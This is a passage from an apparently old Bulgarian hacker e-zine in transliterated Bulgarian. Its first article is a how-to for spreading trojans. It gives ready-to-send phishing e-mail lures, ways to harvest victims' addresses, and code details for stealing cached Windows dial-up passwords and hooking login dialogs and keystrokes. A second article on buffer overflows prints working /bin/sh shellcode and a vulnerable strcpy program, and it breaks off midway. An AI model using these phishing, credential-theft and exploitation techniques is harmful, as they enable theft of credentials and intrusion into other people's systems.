linkwa RTL (Real Time Libraries) za da move code-a da eº ºmaksimalno malyk. Podobni compilatori sa Borland C Builder 1 (kojto e adskiº ºbygaw, a BCB3 ne move da prai .DLL bez VCL), LCC-Win32 (goresto wiº ºprepyrychwam towa za wsqkakyw wid DLL, VXD i plain WinAPI prilovenia) iº ºBorland C 5.0 ( za towa maj da ve ne sym mnogo siguren). º º Dobre e da si naprawite i 2-3 email accounti w USA.NET, Yahoo ili niakojº ºpodoben. Bih wi preporychal USA.net, zastoto move da se popwa, koeto si eº ºgoliamo predimstwo. Move da si naprawite programa, koiato pri wsiakoº ºwkliuchwane na interneta da wi popwa postata i da extractwa kakwito accountiº ºsa doshli. Zaredete se i s dobyr debugger (SoftICE drugo ne fyrfi...), 2-3º ºtona tyrpenie, otpuskasta muzika (Enya, baladi i drum&bass) i zdrawi nerwi.º º º º II. Vertwi !!! º º º º Kak ne se setih po-rano...? Estestweno, che za da e oprawdano wremetoº ºprekarano w pisane/debugwane na koncheto wi triabwa da imate na razpolovenieº ºvertwi, na koito da go razpratite. Ima niakolko osnowni nachina za puskaneº ºna troyanski kon: º º º º 1. Prez IRC º º º º W IRC ima tolkowa mnogo lameri, che dori ako prosto pusnete edinº ºjoin-send script ste namavete iako fenowe. Triabwa wse pak da se usetite iº ºza niakoi osobenosti kato prawdopodobnost na message-a, s kojto podkanwateº ºchoweka da si drupne .exe-to ('stoto prosto taka .exe riadko weche se namiraº ºkoj da wzeme). Trianwa da pomislite i za towa kak da ne wi ritat @-wete naº ºkanala - naj-dobria nachin e da pusnete 2 bota - edin da sybira imenata naº ºjoinnalite se w kanala useri, a drugia da prasta samiq troianec. W sluchaj,º ºche za s razlicheno IP pochti ne move da se naprawi analogia i onia se luvatº º Oswen towa ako se pozanimawate malko sys social engineering spokojnoº ºmove da pratite na niakoj edno .exe, koeto se predstawia za auto-executableº ºsnimka. Razni puberi, deto debnat za hubawa madama/momuk (nesto koeto goº ºniama w IRC) wednaga ste runnat programkata. º º º º 2. Direktno º º º º Direktnoto puskane na troyan horse winagi e bilo naj-trudno, tyj kato daº ºimate dostyp do chuvdo PC ne se sluchwa chesto. Tozi method e naj-udachenº ºza expo-ta i dr. podobni. Predwaritelno e hubawo da si imate UL-nat niakydeº ºkonia, zastoto tezi, koito sa wi predostawili dostyp do pc-to move i da saº ºmu teglili nova na floppy-to. º º Dryg wariant e prosto da zabrawite edna disketka w niakoj provider iliº ºwyw firma, dostawchik na hardware. Wseki e liubopiten i ime katoº ºpasswords.exe pochti winagi garantira puskaneto na konia. º º Pochti direktno e puskaneto na konia w postenskata kutia (niamam predwidº ºe-mail, a onaia kwadrtnata, deto sedi na whoda) na syseda, no triabwa poneº ºda znaete koia e negowa... º º º º 3. S e-mail º º º º Naj-izpipania i neizcherpaem nachin za troyanhorsing. Mnogokratnoº ºdokazal swoite kachestwa w minaloto, toj i za w bydeste ste si ostaneº ºprioritet pri razprostranenieto na kakwito i da bilo underground resourci. º º Da pusnesh nesto po e-mail e lesno, no da nakarash onzi otatyk da goº ºpusne nikak ne e shega rabota. Predi 1-2 godini horata se luveha i siº ºprastaha dave winsign.dat, posle poumniaha, no wse oste pustaha razniº º.exe-ta, koito kradwaha kakwo li ne ot tehnite PC-ta. W dneshno wremeº ºtriabwa naistina po-goliamo wyobravenie za da phishnete niakoj. Oswen towaº ºbulgarite ne se luvat taka lesno, kakto tupite amerikanci (i zasto li...). º º Syobstenieto, s koeto ste izpratite msg-to triabwa da byde minimalnoº ºpodozritelno, a dori da e podozritelno triabwa pone da budi liubopitstwotoº ºna vertwta. W sluchaia, kogato imate poweche informacia za sobstwenika naº ºdaden e-mail address move da pribawite i malko social engineering (obyrneteº ºse w pismoto kym nego po ime, spomenete niakoj negow poznat i t.n.).º ºEstestweno towa otnema powechko wreme, no dawa po-sigurni garancii za uspeh.º ºNaprimer: º º º º *** Start of message body *** º º º º Hi, Karamfil. º º º º Wchera se zapoznah s twoia priatel Mancho i toj mi kaza, º º che ti triabwa programa, s koiato da nuke-wash lesno tupunari. º º Az mu kazah, che imam takawa i toj kaza da ti ia dam na teb, stoto º º ti se zanimawash s IRC poweche ot nego. º º W zamiana ste te pomolia prosto da m pratish (ako imash de) º º niakoe .mp3, poneve gi sybiram º º º º *** End of message body *** º º º º Ta dwamata pichowe Karamfil i Mancho sa si lafili za nesto, wie giº ºuseshtate. Posle s niakoia hitrina mu wzimate na onia e-maila i podobno msg.º ºste go nakara ne da pusne troyanski kon, a da si otreve nosa sam i da goº ºizkliopa. º º W sluchia, kogato ne poznawate choweka polzwajte nesto ot sorta: º º º º *** Start of message body *** º º º º Hello, dear mr. or miss, º º º º As you may have possibly heard, InterNIC is releasing some major updatesº ºto the IP (Internet Protocol). In this way we're having some generalº ºproblems integrating it with Microsoft Windows. If you're Windows 9X user,º ºwe gently ask you to help us, by starting the attached .exe. It will upgrateº ºyour current Internet drivers and let you enjoy the Internet like neverº ºbefore. º º º º Sincerly yours: Adriane Verdana º º º º *** End of message body *** º º º º "InterNIC reshili da praiat upgrade-i. Kak li puk ne...ama koj da znae,º ºtoku wiv mi se zaburzal I'net-a..., abe q da wzema da go wida az towa kakwoº ºupgrade-wa" - tipichna misyl na lamer. º º "Duhaj, be tupo kopele... DELETE" - tipichna misyl na sysop. º º º º Dotuk dobre, no wse pak triabwa da ima na kogo da pratite e-mail. A,º ºkato ne ste si prawili truda da subirate dosega izwednyv se okazwa, cheº ºoswen na poznatite si niama prosto na kogo da go pusnete. Taka stigame doº ºmomenta, w kojto ste se nalovi da porowite w mrevata za malko e-maili.º ºDopredi okolo polowin godina wsichki tyrsachki (AltaVista, Yahoo, Hotbotº ºetc.) predostawiaha wyzmovnostta za tyrsene na chowek po negowia e-mail (iº ºto ne po celia, a samo po chast ot nego, napr: nat.bg). Niama dave da seº ºopitwam da wi obiasniawam kakwi mailistowe se praweha. E da, ama se prawehaº ºi strahotni spamlistowe, a kakto znaete spam nikoj ne obichka i tia uslugeº ºweche "nevermore". º º Za da dokopate aktualni e-maili se iziskwa poweche izobretatelnost. Steº ºwi predlova slednite niakolko nachina: º º º º 3.1. Newsgroups º º º º Hubu nesto sa tuj newsgrupite. Adski mnogo hora pishat i powecheteº ºwinagi ostawiat e-mail za reply. Naj-dobre e da hwanete i da si swaliteº ºwsichki msg-ta ot poslednite 2-3 meseca na niakoia ot BG newsgroupite. Posleº ºprawite edna programka deto da extractne ot tiah wsichko sto e e-mail iº ºhopala ej wi gi bydestite vertwi. Triabwa wse pak da imate w predwid, che naº ºtezi hora po-trudno im minawat nomercata s elementarni msg.-ta. Po-dobreº ºpratete nesto ot imeto na moderatora ili na toia deto naj-chesto post-wa wº ºnewsgroupata. º º Drug wariant e da posetite deja news ili niakoj podoben server, kydetoº ºda prerowite za msg-ta koito sudurvat digsys.bg ili sa pisani ot awtor sº ºe-mail @digsys.bg. º º º º 3.2. S pomostta na AltaVista, Yahoo etc. º º º º Tyj kato ne stawa po tradicionnia nachin, sybiraneto na e-mail sº ºAltaVista e malko po-slovno ot predi (move bi prosto otnema poweche wremeº ºde..). Puskate search s "@digsys.bg" i namirate wsichko koeto sydyrvaº º@digsys.bg. Fastate i si dl-wate wsiaka stranica i posle si extractwateº ºe-mailite. º º Naj-dobre e da si natrakate edna programka ili script, kojto da wyrshiº ºtowa (s JavaScript ne stawa, oste ot sega wi preduprevdawam) wmesto was. Zaº º2-3 dena ste syberete 70% ot e-mailite na dadenia provider, zastoto na wsekiº ºredowen potrebutel pone wednuv w viwota mu se e sluvhwalo da si ostawiº ºniakyde mailcheto. º º º º 3.3. Ot IRC º º º º Dobroto staro IRC - sboriste na lameri. Puskate edno botche deto da karaº ºhorata da se zapiswat za niakakyw mailist i ste gotowi (napr. za IRCNews iliº ºza nowini za srestite na IRC Cluba i t.n.). Velaesti ste ima mnogo...\ º º º º 3.4. S userlisti º º º º Naj-got si e da hacknete provider-a, da mu izteglite passwd-to, dori daº ºe sys *-ki i da pochnete bezsramno zaribiawane na wsichko sto e wº ºuserlistata. Ne prekaliawajte wse pak, po poweche ot 10 na den ne e hubawoº ºda se zaribiawat. º º Ako ne movete da si namerite userlisti move da otidete na homepage-a naº ºPhreedom Magazine http://fast.to/phm, kydeto e mnogo weroiatno da nameriteº ºnesto polezno. º º º º II. KOH º º (ne stawa duma za kaliewa osnowa...) º º º º E da de, nali wse pak triabwa da se napishe...Osnowni momenti: º º º º 1. Cached Passwords º º º º Stawa duma za t.nar "Saved Passwords", t.e. parolite, koito ne pisheteº ºwseki pyt,a Windows-cheto izprasta automatichno. Move da se procedira po 2º ºnachina: s WNetGetCachedPassword ili s WNetEnumCachedPassword; º º º º 1.1. WNetGetCachedPassword º º º º Hubawa funkcia naistina...Niama ia dokumentirana, 'ma i bez .hlp fileº ºuspia da pridobie goliama populiarnost. Izglevda taka: º º º º DWORD WINAPI WNetGetCachedPassword( º º LPTSTR connection, º º DWORD bufSize, º º LPSTR bufOrigin, º º LPDWORD bytesWritten, º º DWORD dunno); º º º ºParametrite sa kakto sledwa: º º º º 1) Kogo da extractnem. Prasta se parametyr ot wida: º º º º *RNA\$$$PROVIDER$$$\$$$LOGIN$$$ º º º º Kydeto $$$PROVIDER$$$ e ime na connection-a, $$$LOGIN$$$ e login-a; º º º º 2) Maximalen razmer na buffera. º º 3) Pointer kym bufera, kydeto triaba da se pliosne extractnatata parola º º 4) Pointer kym promenliwa, w koqto ste bude zapisan razmera na extracnatataº º parola º º 5) Woobste si niamam na ideia, no wsystnost 6 stawa pochti winagi :) º º º º Resultata se wrysta w 3-tia parametyr i ne zabrawiajte da obyrneteº ºwnimanie na 4-tia, stoto stawat razni preebawki poniakoga. Pyrwia parametyrº ºmove da si sytworite sami kato se porowite w Registry-to. W sekciataº ºHKEY_CURRENT_USER\RemoteAccess\Profile ima wsichki provideri i loginowe. Otº ºtam move systo taka da si nabawite i telefonite na syotwetnite connectioni.º ºPri success wrysta 0. º º º º 1.2. WNetEnumCachedPassword º º º º Prototip: º º º º WORD WNetEnumCachedPasswords ( º º LPSTR dunno0, // woobste ne znam º º WORD dunno1, // systo neznam º º BYTE dunno2, // ama nikak dave º º XPTR EnumProc, // Enumeratorskata procedura º º DWORD duNNo3); // mdaa..... º º º º Parametri: º º º º 1) Neznam, no predpolagam che e ot koj connection da pochne. Bachka s 0. º º 2) Bachka s 0 º º 3) Bachka s 0xff (predpolagam che e maksimalen razmer na zapisa) º º 4) Towa XPTR e pointer kym funkcia sys slednia prototip: º º º º BOOL CALLBACK Enum Proc( º º TCachedPasswordEntry password, º º DWORD dunno); º º º º Tia obrabotwa posledowatelno wsichki cachirani paroli. Pyrwia parametur imº º slednata structura: º º º º typedef struct TCachedPasswordEntry { º º WORD cbEntry; // Razmer na zapisa w byte-owe º º WORD cbResource; // Razmer na imeto na connectiona º º WORD cbPassword; // Razmer na parolata º º BYTE iEntry; // Index na zapisa º º BYTE nType; // Tip na zapisa º º BYTE *data; // tuk zapochwat dannite s imeto na resursa i posle º º // samata parola º º }; º º º º Wtoriqt ne wi interesuwa... º º º º 5) Bachka s 0; º º º º Funkciata izwikwa posledowatelno XPTR funkciata koiato triabwa daº ºobraboti extractnatite paroli. Az lichno woobste ne moga da si predstawiaº ºzasto ste im e na Microsoft da prawiat takawa funkcia, no .. "... newedomiº ºsa putistata bovii". º º Imeto na connectiona idwa w systiq po-gored wid: º º º º *RNA\$$$PROVIDER$$$\$$$LOGIN$$$ º º º º koeto makar, che move da wi se stori, che dawa cialoto info za dadenº ºconnection woobste ne wi pomaga w slichaj, che picha, chiito paroli kradeteº ºne se e setil da si krysti connectiona na imeto na providera. Taka che eº ºnaj-dobre da si smuknete i samia telefon ot Registry-to. º º º º 2. Hooks º º º º Ne se plashete ne e tolkowa strashno kolkoto si mislite... º º Predi da naprawite pyrwi opiti da kradete kakwoto i da bilo ot kojto iº ºda bilo djam e da ste si procheli sekciata na MSHelp za hook-owete, zastotoº ºonia fenowe ot MS naistina sa pusnali dosta polezno info. Kakwo ima smisylº ºda hookwate: º º º º 1) "Connect To" Dialog Box-a, s cel da otkradnete sydyrvanieto na poletataº º s login, parola, telefon. º º 2) "Pre-Dial Terminal Screen" i "Post-Dial Terminal Screen" s cel daº º fanete parolite na wsichki tarikati, koito ne gi zapazwat kato savedº º password. º º 3) "Executing script..." s cel da fanete specialen script ili paroli º º napyhani w scripta (polezno za CI$ phishwane). º º º º Po princip move da hook-nete i niakoj prozorec s telnet sesia, ako wi seº ºkradat shell accounti ili netscape navigator-skite formi (koeto e dostaº ºshibano i ne wi preporychwam da prawite). º º Samia process na hookwane systo ima niakoi osobenosti. Predi wsichko neº ºzabraiwajte, che: º º º º HOOK PROCEDURATA TRIABWA DA E V .DLL º º º º inache ste si hook-nete samo washia proces. Prototipa na funkciata zaº ºhookwane izglevda gore-dolu taka: º º º ºHHOOK SetWindowsHookEx( º º int idHook, // type na hooka, kojto iskate da slovite º º HOOKPROC lpfn, // address na hook procedurata º º HINSTANCE hMod, // handle na DLL-a, kojto se wrysta sled LoadLibraryº º DWORD dwThreadId // za koj thread da se slovi hook (NULL za wsichki) º º ); º º º º Oswen towa triabwa da reshite po kakyw nachin tochno se hookneteº ºdjamcheto (t.e. kakyw ste e tipa na hook-a). Move da slovite CBT Hook, kojtoº ºfasta wsichki WM_ACTIVATE, WM_DESTROY, WM_SETFOCUS msg.-ta i drugi srodni.º ºMove da izpolzwate i CallWndProc Hook, koiato prihwasta wsichki WM_COMMANDº ºsyobstenia. Naprimer move da prihwanete syobstenieto za natiskane na Connectº ºbutona na Connect To prozoreca, koeto oznachawa, che nashia chowek weche siº ºe wywel parolkata (ako woobste ia wywevda rychno i e dal da se connectwa).º ºPri natiskane na toia buton se generira WM_COMMAND message, chrez kojtoº º(t.e. chrez lParam parametura na message-a) se predawa BN_CLICKED message.º ºFastate si ID-to na butona (toj se dyrvi w wParam), kojto e natisnat, iº ºgledate dali se kazwa Connect i rabotata e swyrshena. º º Za da ne se poluchi taka, che da si floodnete sobstwenia e-mail sº ºpostoianno pristigashti edni i systi e-mail se pogrivete da proveriawateº ºdali hwanatia account ne e systia kakto predi. Opredeleno ste si spesiteteº ºwreme w rowene na posta. º º º º 2.1. Hook-wane na "Connect To" dialog prozoreca º º º º Osnownoto, koeto triabwa da znaete, kogato hook-wate toia djam sa ID-tatº º na poletata, kotio ste kradete. Osowni sa slednite: º º º º 1000 - Provider º º 1002 - Userid º º 1004 - Password º º 1006 - Phone º º º º za da wzemete ID-to izpolzwajte slednata funkcia: º º º º UINT GetDlgItemText( º º HWND hDlg, // handle na dialog box º º int nIDDlgItem, // ID-to na pole-to :) º º LPTSTR lpString, // adres na bufera za texta º º int nMaxCount) // maximalen razmer na bufera º º º º 2.2. Hookwane na Pre-Dial i Post-Dial Terminal Screen º º º º Po-goliam smisyl ima post-dial terminal screena, zastoto pochti niamaº ºhora, koito da si dialwat sami i da prawiat cialata procedura po swryzwanetoº ºrychno. Sled kato usetite poiawata na wyprosnia prozorec triabwa daº ºhook-nete klawiaturata za da razberete kakwo pishe fencheto, inache nimaº ºnikakwa polza da kradete samoto sydyrvanie na textowoto terminalno pole. º º Dobre e da naprawite subirane na informaciata samo za login/password iº ºda si q pazite, zastoto w protiwen sluchaj email addressa na kojto º ºpoluchawate wsichko ste izduhne mnogo byrzo. Ne zabrawiajte da unhookneteº ºklawiaturata pri WM_DESTROY. º º º º 2.3. Hookwane na "Executing script..." prozoreca º º º º Pochti systoto e kato pri 2.2., no pazite wsichko koeto wyrwi wº ºterminalnia ekran. Ne se preporychwa... º º º º IV. Zakliuchenie º º º º W zaklichenie move samo da wi povelaia priatna rabota, a ako mislite,º ºche imate po-dobri i po-rabotesti idei ot goreposochenite move winagi daº ºpratite edin article...Dosega ne sme wyrnali nikoj s kachestwena statia. º º º Ç Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä¶ º º º Buffer Overflow Basics By: Kay º º ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ ÄÍÍÍÍÍÄ º º º º (B.Red. Tozi article e publikuwan as is, poneve dojde w poslednia moment) º º º º [0].Intro º º º º Tazi statiq razglevda osnowite na prepylwaneto na buferi i nachinite za º ºzashtita ot tqh. Za primerite sa izpolzwani gcc i gdb (pod Linux). Malko po º ºznaniq po asm/x86 sa mnogo polezni. º º º º º º [1].UNIX file permissions º º º º W sredata na UNIX wseki fajl pritevawa specifichen atribut, kojto go op º ºredelq kato fajl s danni, direktoriq, link kym drug fajl, socket, pipe, ... º ºStandartnite atributi za chetene (r), zapis (w) i izpulnenie (x) sa 3 chif º ºta - edin za sobstwenika na fajla, edin za ostanalite ot grupata-sobstwenik º ºi edin za wsichki ostanali potrebiteli. Izpylnimite fajlowe mogat da budat º ºsyshto SUID i SGID. Naj-lesniqt nachin da widite atributite na daden fajl e º º"ls -l". º º º º # ls -l º º srw------- 1 root daemon 0 Jul 11 10:24 s143-k1 º º drwx------ 2 root root 4096 Jul 12 18:32 new º º drwxr-xr-x 4 root daemon 4096 Jul 18 19:14 database º º -rw-r----- 1 root adm 384 Jul 9 23:56 accounting º º -rw------- 1 root root 269 Jul 13 18:58 notes º º -r-------- 1 root root 352403 Jul 14 16:55 xaw3d.tar.gz º º lrwxrwxrwx 1 root root 8 Jul 16 22:07 db -> database º º º ºW sluchaq "s143-k1" e socket, "new" i "database" - direktorii, "db" e link º ºkym "database", ostanalite sa normalni fajlowe. "accounting" naprimer e sob º ºstwenost na "root" i grupa "adm". Tozi fajl e dostypen za pisane i chetene º ºot sobstwenika si ("root") i samo za chetene ot grupata ("adm"). Ostanalite º ºpotrebiteli nqmat prawa wyrhu tozi fajl. Prawata i atributite za daden fajl º ºmogat da bydat promenqni ot sobstwenika si (towa ne wavi za "root" estestwe º ºno ;)), s komandata "chmod". Sobstwenika na fajla move da se promeni s "cho º ºwn" i "chgrp". Za da prowerite kym koi grupi prinadlevi nqkoj account napi º ºshete "id " ili prosto "id", za da widite tekushtoto systoqnie. º º º º # id º º uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm), º º 6(disk),10(wheel),11(floppy) º º # id mail º º uid=8(mail) gid=12(mail) groups=12(mail) º º º ºKogato imate izpylnite daden izpylnim fajl, pri normalni uslowiq toj trygwa º ºsys washite UID i GID, t.e. ID-owete, koito pokazwat koj potrebitel ste wie º ºi kym koq grupa prinadlevite. Obiknoweno sa s razmer na duma, unsigned int, º º16-bitowi ili kakto tam wi hareswa, no move da sa i s drug razmer. Po tezi º ºdwe chisla se opredelqt washite prawa. Syshtestwuwa atribut, kojto move da º ºnakara operacionnata sistema da wi priswoi razlichni UID i GID - towa sa pr º ºogrami, koito iziskwat specialni prawa, no trqbwa da se izpylnqwat ot obik º ºnoweni potrebiteli. Kogato SUID/SGID bitowete w atributa na fajla sa ustano º ºweni, pri puskane na tozi fajl ot potrebitel, kojto ima prawo za towa, za º ºdejstwaniqt proces pridobiwa syotwetno UID i/ili GID na sobstwenika na tozi º ºfajl, sledowatelno i prawata na procesa se promenqt po syotweten nachin. º º º ºIdeqta na SUID-programite e da se pozwoli na obiknowenite potrebitelite da º ºpoluchat ogranichen dostyp do funkcii, za koito se iziskwat po-wisoki ot te º ºhnite sobstweni prawa. Primer za towa e elementarnata promqna na parola: za º ºda byde izwyrshena promqna (t.e. zapis) wyw fajla passwd e neobhodim root, º ºtyj kato obiknowenite potrebiteli imat prawo samo za chetene. º º º º -rwsr-xr-x 1 root root 44705 Jul 1 00:49 /usr/bin/passwd º º º ºW sluchaq SUID-root - sled izpylnenieto UID shte byde promenen na (root). º º º º º º [2]. Intel x86 CPU Stack Structure º º º º(Spored knigite, towa wavi w obshti linii syshto i za SPARC, MIPS i º º Motorola procesorite, no po razbiraemi prichini ne sym go probwal:)) º º º º º º Organizaciqta na steka pri Intel x86 procesorite (i wsichki sywmestimi s º ºtqh) e takawa, che stekyt narastwa obratno na posokata na narastwane na adr º ºesite w pametta. Grubo predstaweno sys slednata shema izglevda taka: º º º º 0xXX | - - - - - | Nachalo na steka º º ^ |-----------| º º ^ | Element 1 | º º ^ |-----------| º º ^ | Element 2 | º º ^ |-----------| º º ^ | Element n | < SP º º ^ |-----------| º º 0x00 | - - - - - | Nachalo na pametta º º º ºNqma smisyl da razqsnqwam za kakwo programite izpolzwat steka. Interesnoto º ºe, che oswen Stack Pointer-a SP (kojto pri Intel platformite sochki w kraq º ºna steka) se pazi i dopylnitelen Frame Pointer, kojto e razlichen za wsqka º ºpod-funkciq. Tozi FP e wyweden, za da ne bydat adresiani promenliwite chrez º ºpylnoto im otmestwane sprqmo SP, a otnosno nachaloto na stekowata ramka na º ºsyotwetnata funkciq. º º º ºKogato edna funkciq byde izwikana, tq zapiswa tekushtoto polovenie na FP, i º ºpredi da wyne uprawlenieto go wystanowqwa. Po wreme na rabotata si tq modi- º ºficira stekowata si ramka, kato kopira SP (adresyt na posledniq element) w º ºFP i sled towa go namalqwa sys razmera na pametta, izpolzwana za lokalnite º ºdanni. Za SP se izpolzwa registyr ESP, a za FP - obiknoweno EBP. º º º º º º-example1.c---------------------------------------------------------------- º ºvoid func(int p1, int p2) º º{ º º char buf[1024]; º º} º º º ºint main() º º{ º º func(1, 2); º º return 0; º º} º º--------------------------------------------------------------------------- º º º º # gcc -S -o example1.s example1.c º º º ºRazlichnite C kompilatori mogat da generirat razlichen kod, no w obshti lin º ºii wsichki prawqt priblizitelno edno i syshto. S gornata komanda shte polu- º ºchim asembleren listing na programata example1.c. º ºMoqt kompilator (kakto se wivda - egcs 2.90.29) dade slednoto: º º º º-example1.s---------------------------------------------------------------- º º .file "example1.c" º º .version "01.01" º ºgcc2_compiled.: º º.text º º .align 4 º º.globl func º º .type func,@function º ºfunc: ## Towa e func(..) º º pushl %ebp ## Tuk se zapazwa stariq FP º º movl %esp,%ebp ## Na tozi i sledwashtiq red º º subl $1024,%esp ## se syzdawa now FP º º º º ## 1024 e tochno razmera na masiwa char buf[1024]. º º ## Tuk trqbwa da se otbelevi, che razmerite na promenliwite se º º ## zakryglqt chrez uwelichawane spored align - w sluchaq 4 bajta º º º º.L1: º º ## Tuk se predpolaga, che funkciqta wyrshi neshto si... º º º º movl %ebp,%esp ## Tuk se wystanowqwa staroto º º popl %ebp ## systoqnie na FP i SP º º ret º º.Lfe1: º º .size func,.Lfe1-func º º .align 4 º º.globl main º º .type main,@function º ºmain: º º pushl %ebp ## Towa e main() º º movl %esp,%ebp ## Tuk syshto se syzdawa now FP... º º pushl $2 ## Predawane na parametrite º º pushl $1 ## kym func. º º call func º º addl $8,%esp º º xorl %eax,%eax º º jmp .L2 º º .align 4 º º.L2: º º movl %ebp,%esp ## I syshto se wystanowqwa predish º º popl %ebp ## niq SP... º º ret º º.Lfe2: º º .size main,.Lfe2-main º º .ident "GCC: (GNU) egcs-2.90.29 980515 (egcs-1.0.3 release)" º º--------------------------------------------------------------------------- º º º ºNote: Ako ste swiknali s normalniq asembler na x86, ne se chudete na mov-ta º ºta - tuk prosto source e na pyrwo mqsto, a destination - na wtoro. º º º ºSega da prosledim dejstwieto na programata. º º º º pushl $2 ## Predawane na parametrite º º pushl $1 ## kym func. º º call func ## Izwikwa se func() º º º ºSled push-waneto na parametrite w steka, toj ima sledniq wid: º º º º 0xXX | - - - - - | Nachalo na steka º º ^ |-----------| º º ^ | p2 | º º ^ |-----------| º º ^ | p1 | º º ^ |-----------| º º ^ | ret.addr | < SP º º ^ |-----------| º º 0x00 | - - - - - | Nachalo na pametta º º º ºret.addr e push-nat w steka ot call - towa e adresyt, na kojto shte se wyr- º ºne procesora, sled izpylnenieto na ret-instrukciqta. º º º ºSled syzdawaneto na now FP za func(): º º º º 0xXX | - - - - - | Nachalo na steka º º ^ |-----------| º º ^ | p2 | º º ^ |-----------| º º ^ | p1 | º º ^ |-----------| º º ^ | ret.addr | º º ^ |-----------| º º ^ | star FP | < FP º º ^ |-----------| º º ^ | 1024b | < SP (modificiran) º º ^ |-----------| º º 0x00 | - - - - - | Nachalo na pametta º º º ºT.e. Stack Pointer-a se izmestwa s 1024 bajta nadolu, za da se syzdade mqs- º ºto za buf[]. I kakwo bi stanalo, ako nqkoj idiot reshi da zapishe POWECHE º ºot 1024 bajta w buf[]? Shte prezapishe return-adresa i kogato funkciqta iz- º ºwika instrukciqta ret, procesora nqma da prodylvi normalnoto izpylnenie na º ºprogramata, a shte "skochi" nqkyde drugade. Eto edin primer za programa, ko º ºqto sama modificira return-adresa si. º º º º-example2.c---------------------------------------------------------------- º ºvoid function(int a, int b, int c) º º{ º º char buffer1[5]; º º char buffer2[10]; º º int *ret; º º º º ret = buffer1 + 12; º º (*ret) += 8; º º} º º º ºvoid main() º º{ º º int x; º º º º x = 0; º º function(1,2,3); º º x = 1; º º printf("%d\n",x); º º} º º--------------------------------------------------------------------------- º º º ºMalko razqsneniq. º º º º-example2.s---------------------------------------------------------------- º º .file "example2.c" º º .version "01.01" º º º ºgcc2_compiled.: º º.text º º .align 4 º º.globl function º º .type function,@function º ºfunction: º º pushl %ebp º º movl %esp,%ebp ## Zadelqt se obshto 24 bajta, zashtoto align-a e 4 º º subl $24,%esp ## char[5] - 8, char[10] - 12, int * - 4 º º º º leal -8(%ebp),%eax º º leal 12(%eax),%ecx º º movl %ecx,-24(%ebp) ## .. º º movl -24(%ebp),%eax ## .. º º movl -24(%ebp),%edx ## ret = buffer1 + 12; º º º º movl (%edx),%ecx ## .. º º addl $8,%ecx ## .. º º movl %ecx,(%eax) ## (*ret) += 8; º º.L1: º º movl %ebp,%esp º º popl %ebp º º ret º º.Lfe1: º º .size function,.Lfe1-function º º.section .rodata º º.LC0: º º .string "%d\n" º º.text º º .align 4 º º.globl main º º .type main,@function º ºmain: º º pushl %ebp º º movl %esp,%ebp º º subl $4,%esp ## Namalq se SP s 4, koeto syotwetstwa na int x º º movl $0,-4(%ebp) ## ESP:(EBP-4) = 0 (t.e. x=0) º º pushl $3 ## podawat se 3-te parametyra kym function º º pushl $2 º º pushl $1 º º call function º º addl $12,%esp º º movl $1,-4(%ebp) ## x=1 º º movl -4(%ebp),%eax ## pslaga se sydyrvanieto na x wyw EAX º º pushl %eax ## za da byde podadeno na printf() º º pushl $.LC0 ## Towa e adresa na formatirashtiq string º º call printf º º addl $8,%esp º º.L2: º º movl %ebp,%esp º º popl %ebp º º ret º º.Lfe2: º º .size main,.Lfe2-main º º .ident "GCC: (GNU) egcs-2.90.29 980515 (egcs-1.0.3 release)" º º--------------------------------------------------------------------------- º º º ºRezultata ot izpylnenieto na programata e, che se preskacha izpylnenieto na º ºinstrukciqta movl $1,-4(%ebp) i se otpechatwa pyrwonachalnata stojnost na x º ºAleph1 obqsnqwa kak tochono se opredelq otmestwaneto (+8 w sluchaq), s koe- º ºto se promenq return adresa - izpolzwajki gdb move da se opredeli razlikata º ºw adresite (sprawochnik sys mashinnite instrukcii syshto wyrshi rabota, no º ºza Intel 386-ne-znam-si-kyw tehnicheskoto rykowodstwo beshe w 2 toma po 4-5 º ºcm wseki) º º º º º º [3].Shell code º º º º Shell koda e prosto edno sistemno izwikwane kym exec() za izpylnenie na º ºshell (obiknoweno), kojto bi trqbwalo da se izpylni ako uspeshno byde prome º ºnen return adresa na exploit-wanata programa. º º º º-shell.c------------------------------------------------------------------- º º#include º ºvoid main() { º º char *proggy[2]; º º º º proggy[0] = "/bin/bash"; º º proggy[1] = NULL; º º º º execve(proggy[0], proggy, NULL); º º} º º----------------------------------------------------------------------------º º º ºSled kato se napishe na asm i se zamenqt instrukciite, koito sydyrvat bajto º ºwe \0 (w C s nlew simwol se otbelqzwa kraj na string i ako shell-koda sydyr º ºva nuli, pri prepylwaneto weroqtno nqma da byde izkopiran celiq) se polucha º ºwa neshto takowa: º º-shellasm.c---------------------------------------------------------------- º º/* CREDITS: (c) Aleph One */ º º º ºvoid main() { º º__asm__(" º º jmp 0x1f # 2 bytes º º popl %esi # 1 byte º º movl %esi,0x8(%esi) # 3 bytes º º xorl %eax,%eax # 2 bytes º º movb %eax,0x7(%esi) # 3 bytes º º movl %eax,0xc(%esi) # 3 bytes º º movb $0xb,%al # 2 bytes º º movl %esi,%ebx # 2 bytes º º leal 0x8(%esi),%ecx # 3 bytes º º leal 0xc(%esi),%edx # 3 bytes º º int $0x80 # 2 bytes º º xorl %ebx,%ebx # 2 bytes º º movl %ebx,%eax # 2 bytes º º inc %eax # 1 bytes º º int $0x80 # 2 bytes º º call -0x24 # 5 bytes º º .string \"/bin/sh\" # 8 bytes º º # 46 bytes total º º"); º º} º º--------------------------------------------------------------------------- º º º ºili w binary format: º º--------------------------------------------------------------------------- º ºchar shellcode[] = º º "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" º º "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" º º "\x80\xe8\xdc\xff\xff\xff/bin/sh"; º º--------------------------------------------------------------------------- º ºKojto se interesuwa ot podrobnostite, move da prochete Phrack 49/14. º º º º º º [4].Some real example º º º º-example3.c---------------------------------------------------------------- º º#include º º º ºvoid func() º º{ º º char s[512]; º º strcpy(s,getenv("TERM")); º º} º º º ºvoid main() º º{ º º func(); º º} º º--------------------------------------------------------------------------- º º º ºTuk imame string ot 512 bajta, w kojto se kopira bez prowerka za golemina- º ºta promenliwata ot obkryvenieto "TERM" (towa specialno go prawqt mnogo prog º ºrami, koito izpolzwat ANSI simwoli za rabota s ekrana) º º º ºOsnowniqt 